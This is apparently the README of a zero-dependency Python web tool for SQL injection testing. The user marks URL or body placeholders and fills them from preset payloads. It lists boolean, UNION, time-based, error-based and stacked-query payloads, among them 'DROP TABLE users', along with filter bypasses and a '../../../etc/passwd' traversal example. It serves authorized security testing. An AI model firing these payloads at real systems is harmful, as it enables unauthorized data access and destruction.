基于 Web 的 SQL 注入关键字测试工具 —— 使用 URL 模板 + 占位符替换,快速对任意参数进行 SQL 注入测试。
只需在 URL 中写入 {参数名},工具自动识别占位符,点击预设 payload 即可填充并发送请求。零依赖,单文件纯 Python 标准库实现。
┌─────────────────────────────────────────────────────────────┐
│ 🔭 SQL Keyword Tester │
│ 在 URL 中用 {参数名} 标记测试点 │
├─────────────────────────────────────────────────────────────┤
│ 🔍 请求 │
│ [ GET ▼ ] [ http://localhost/index.php?query={test} ] [▶] │
├─────────────────────────────────────────────────────────────┤
│ 🔎 测试参数(占位符) │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ {test} │ [ ' OR 1=1-- ] │ [清空] │ │
│ └──────────────────────────────────────────────────────┘ │
├─────────────────────────────────────────────────────────────┤
│ 💉 Payload 预设 │
│ [单引号] [OR 1=1--] [UNION SELECT...] [SLEEP(5)] [...] │
├─────────────────────────────────────────────────────────────┤
│ 🔥 响应 │
│ Status: 200 ✅ 耗时: 674ms 大小: 322 B │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ {"args": {"query": "' OR 1=1--"}, ... } │ │
│ └──────────────────────────────────────────────────────┘ │
├─────────────────────────────────────────────────────────────┤
│ 🕐 历史 │
│ │ GET http://httpbin.org/get?query=%27... 200 │ │
│ │ GET http://localhost/index.php?query=1 404 │ │
└─────────────────────────────────────────────────────────────┘
python main.py浏览器打开 http://localhost:8888
没装 Python?下载 Python(3.8+ 即可)。
- URL 模板语法 —— 用
{参数名}标记测试点,直观明了 - 26 个内置 SQL 注入 Payload —— 引号、布尔盲注、Union、时间盲注、报错注入、堆叠查询、注释变体、各种绕过技巧
- 多种请求方法 —— GET / POST / PUT / DELETE / PATCH
- 自动 URL 编码 —— 占位符值填入 URL 时自动
encodeURIComponent,无需手动转义 - Body 编辑器 —— POST/PUT/PATCH 自动显示,同样支持
{占位符}替换 - 自定义请求头 —— 自由增删 Header
- 响应面板 —— 状态码(颜色标识)、响应时间、响应大小、响应头 + 响应体
- 历史记录 —— 最近 50 条保存在浏览器 localStorage,点击即可回放
- 暗色主题 —— 护眼,适合长时间测试
- 零依赖 —— 仅使用 Python 标准库,不需要 pip install 任何东西
- 单文件 —— 整个工具就一个
main.py,部署即拷即用
在 URL 输入框写入含 {占位符} 的模板,例如:
http://example.com/api/search?q={keyword}
工具会自动识别 {keyword} 并在下方显示输入框。点击任意 Payload 预设即可填入,或手动输入测试值。
URL: http://localhost/index.php?id={test}
点击 ' OR 1=1 -- → 实际发送 http://localhost/index.php?id=%27%20OR%201=1--
URL: http://localhost/login.php?user={username}&pass={password}
| 占位符 | 填入值 |
|---|---|
{username} |
admin'-- |
{password} |
' OR '1'='1 |
方法选 POST,URL 和 Body 均支持占位符:
URL: http://localhost/api/login
Body: {"user":"{user}","pass":"{pass}"}
URL: http://localhost/{page}?debug=1
占位符 {page} 填入 admin.jsp 或 ../../../etc/passwd 等测试路径。
| 类别 | Payload |
|---|---|
| 基础测试 | ' " \\ |
| 布尔盲注 | ' OR '1'='1 ' OR 1=1 -- ' OR 1=1 # ' AND '1'='1 ' AND '1'='2 |
| Union 注入 | ' UNION SELECT NULL-- ' UNION SELECT 1,2,3-- ' UNION SELECT @@version-- |
| 时间盲注 | ' AND SLEEP(5)-- ' AND pg_sleep(5)-- '; WAITFOR DELAY '00:00:05'-- |
| 报错注入 | ' AND extractvalue(1,concat(0x7e,database()))-- ' AND updatexml(1,concat(0x7e,database()),1)-- |
| 堆叠查询 | '; DROP TABLE users-- '; INSERT INTO users VALUES('hack','pass')-- |
| 注释变体 | '-- '# '/**/OR/**/1=1 |
| 绕过技巧 | ' oR 1=1--(大小写) ' UNUNIONION SELECT 1--(双写) %27%20OR%201=1--(URL 编码) |
| 特殊字符 | %00' OR 1=1--(NULL 字节) %df' OR 1=1--(宽字节) |
├── main.py # 主程序(含后端服务 + 前端页面)
└── README.md # 使用说明(就是本文件)
- 前端页面(内嵌在
main.py中)提供 URL 模板输入框、payload 预设网格、历史记录等交互 - 用户在 URL 中写入
{param}占位符,前端自动解析并生成对应的输入槽位 - 用户选择 payload 填入占位符,点击发送
- 前端替换所有占位符、对 URL 参数做
encodeURIComponent,然后fetch到后端/api/test - 后端(Python
http.server)用urllib.request代理发送请求到目标 URL - 返回响应状态码、头、体和耗时给前端展示
本工具仅供授权的安全测试、漏洞研究和教学使用。使用者应遵守当地法律法规,禁止用于非法攻击。作者不对任何滥用行为承担责任。